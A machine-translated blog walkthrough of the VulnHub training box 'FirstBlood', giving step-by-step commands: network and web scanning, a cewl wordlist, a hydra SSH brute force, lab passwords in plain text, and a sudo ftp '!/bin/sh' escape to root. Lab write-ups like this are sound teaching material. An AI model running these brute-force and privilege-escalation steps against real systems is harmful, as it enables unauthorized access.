当前位置:网站首页>vulnhub-FirstBlood
vulnhub-FirstBlood
2022-07-05 15:53:00 【GALi_ two hundred and thirty-three】
Description
A VERY beginner friendly box with a LOT of hand holding.
Once the system grabs an IP, head straight to the web port before scanning.
You will find your first set of instructions which starts the guided process.
Created in Virtualbox.
Goal: Get the root flag.
Your feedback is appreciated – Twitter: @iamv1nc3nt
This is a novice target , Teach you how to penetrate a machine , Each step has corresponding prompts .
Walkthrough
Get the target IP Address
sudo arp-scan -I eth0 -l

Get IP10.0.2.20
Go directly to the web

View source code of webpage

Follow the prompts to visit rambo.html

Use nmap Port scan
nmap -p- 10.0.2.20

Discover open 60022 port
scanning web Catalog
nikto -h http://10.0.2.20/

Found another website directory /johnnyrambo/, Browser access

Next is ssh Blast , use cewl Crawl the website to generate a wordlist
cewl -w words.txt -d 1 -m 5 http://10.0.2.20/johnnyrambo/
The statistical number of rows
wc -l words.txt
137 words.txt
visit ssh.html

Crack johnny Password
hydra -l johnny -P words.txt -v 10.0.2.20 ssh -s 60022 -t 4

Crack success , adopt ssh Landing system
ssh [email protected] -p 60022
After logging into the system , Open... In the current directory README.txt

Prompted by , You can use the following command to view the local web Catalog
cat /etc/nginx/sites-enabled/default | grep -v "#"

Get into /var/www/html/ , Find another README.txt

lookup README.txt file
find / -type f -readable 2>/dev/null | grep README.txt
# 2>/dev/null 2 It's a standard error , Redirect standard error to /dev/null

see /opt/README.txt

Get an account password
username: blood
password: HackThePlanet2020!!
Switching users
su - blood

Landing successful , Find out blood User directory README.txt, Learn that in /home There may be some files in other user folders under the directory

Get into sly User folder found two files , But there is only one readable , Insufficient authority .
adopt sudo -l View current user permissions
sudo -l

blood Users can use sudo perform /bin/cat, see /home/sly/README.txt
sudo -u sly /bin/cat /home/sly/README.txt

obtain sly User's password :SylvesterStalone
Switching users sly
View user permissions
[email protected]:~$ sudo -l
Matching Defaults entries for sly on firstblood:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sly may run the following commands on firstblood:
(ALL) /usr/bin/ftp
(root) NOPASSWD: /usr/bin/esudo-properties
utilize sudo, Sure root Permissions to perform ftp.
stay GTFOBins Website , Can be found and obtained root The method of authority

[email protected]:~$ sudo ftp
[sudo] password for sly:
ftp> !/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
#
ok. Successfully get root jurisdiction

边栏推荐
- JS topic - console log()
- mapper. Comments in XML files
- I spring and autumn blasting-1
- How can the boss choose programmers to help me with development?
- 超分辨率技术在实时音视频领域的研究与实践
- OSI 七层模型
- Bugku's eyes are not real
- How difficult is it to pass the certification of Intel Evo 3.0? Yilian technology tells you
- MySQL 巨坑:update 更新慎用影响行数做判断!!!
- I'm fat, huh
猜你喜欢

vulnhub-Root_ this_ box

JS knowledge points-01

机械臂速成小指南(九):正运动学分析

Defining strict standards, Intel Evo 3.0 is accelerating the upgrading of the PC industry

RepLKNet:不是大卷积不好,而是卷积不够大,31x31卷积了解一下 | CVPR 2022

Data communication foundation - route republication

OSI 七层模型
![[brief notes] solve the problem of IDE golang code red and error reporting](/img/b6/0b2ea06eb5fbe651ff9247b109fa15.png)
[brief notes] solve the problem of IDE golang code red and error reporting

示例项目:简单的六足步行者

MySQL overview
随机推荐
项目中批量update
Interval DP (gravel consolidation)
机械臂速成小指南(九):正运动学分析
I include of spring and Autumn
【簡記】解决IDE golang 代碼飄紅報錯
Arduino控制微小的六足3D打印机器人
How can the boss choose programmers to help me with development?
wxml2canvas
SQL Server learning notes
Bugku's Ah Da
obj集合转为实体集合
vulnhub-Root_ this_ box
I spring and autumn blasting-1
修改pyunit_time使得其支持‘xx~xx月’的时间文本
对象和类的关系
开发中Boolean类型使用遇到的坑
Boost the development of digital economy and consolidate the base of digital talents - the digital talent competition was successfully held in Kunming
Bugku's Eval
21. [STM32] I don't understand the I2C protocol. Dig deep into the sequence diagram to help you write the underlying driver
助力数字经济发展,夯实数字人才底座—数字人才大赛在昆成功举办